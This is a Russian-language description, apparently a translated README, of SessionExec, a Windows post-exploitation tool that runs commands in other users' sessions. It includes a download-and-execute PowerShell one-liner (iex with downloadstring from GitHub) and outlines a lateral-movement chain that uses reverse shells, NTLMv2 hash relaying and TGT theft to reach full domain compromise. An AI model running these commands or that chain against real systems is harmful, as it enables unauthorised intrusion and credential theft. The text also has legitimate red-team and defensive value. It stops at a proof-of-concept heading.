сессионексек
SessionExec позволяет выполнять указанные команды в других сеансах в системах Windows, либо с указанием определенного идентификатора сеанса, либо со всеми сеансами, с возможностью подавления вывода команды.
Этот инструмент вдохновлен кодом эксплойта EOP COM Session Moniker, выпущенным давным-давно Джеймсом Форшоу.
SessionExec использует API-интерфейсы Windows для запроса информации о сеансе и создания процессов в этих сеансах.
Скомпилируйте SessionExec.cs, выполнив следующую команду из инструментов сборки для Visual Studio.
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
Или вы можете использовать Invoke-SessionExec.ps1 , который представляет собой тот же сценарий, но выполняется в памяти с использованием метода рефлексивной загрузки.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1') Вы также можете найти чистую реализацию этого инструмента на PowerShell, написанную The-Viper-One, здесь.
️ ПРИМЕЧАНИЕ. Для успешного запуска этого инструмента необходимы системные привилегии. Чтобы повысить уровень администратора до уровня СИСТЕМА, используйте Invoke-RunAsSystem.
Использование
SessionExec.exe [/NoOutput]
Invoke-SessionExec [/NoOutput]
Проверьте, какие сеансы доступны, с помощью команды quser . Затем запустите команду для определенного сеанса или All сеансов.
Мысли
Если вы являетесь локальным администратором на одном или нескольких компьютерах в сети и на этих целях есть пользовательские сеансы, вы можете использовать SessionExec и Find-LocalAdminAccess вместе, чтобы проверить, имеет ли кто-либо из этих пользователей доступ локального администратора к другим машинам в сети. сеть.
Если да, то вы можете повторить этот процесс для пользователей, имеющих сеанс на этих машинах. Эта цепочка действий теоретически может привести к полной компрометации домена.
Кроме того, вы можете получить оболочки обратно с помощью Amnesiac, захватить хэши NTLMv2 и передать их, получить TGT и многое другое, и все это автоматически.
Я реализую эту концепцию в Amnesiac, и вместе с The-Viper-One мы работаем над реализацией ее и в PsMapExec.
На данный момент вот доказательство концепции (PoC):
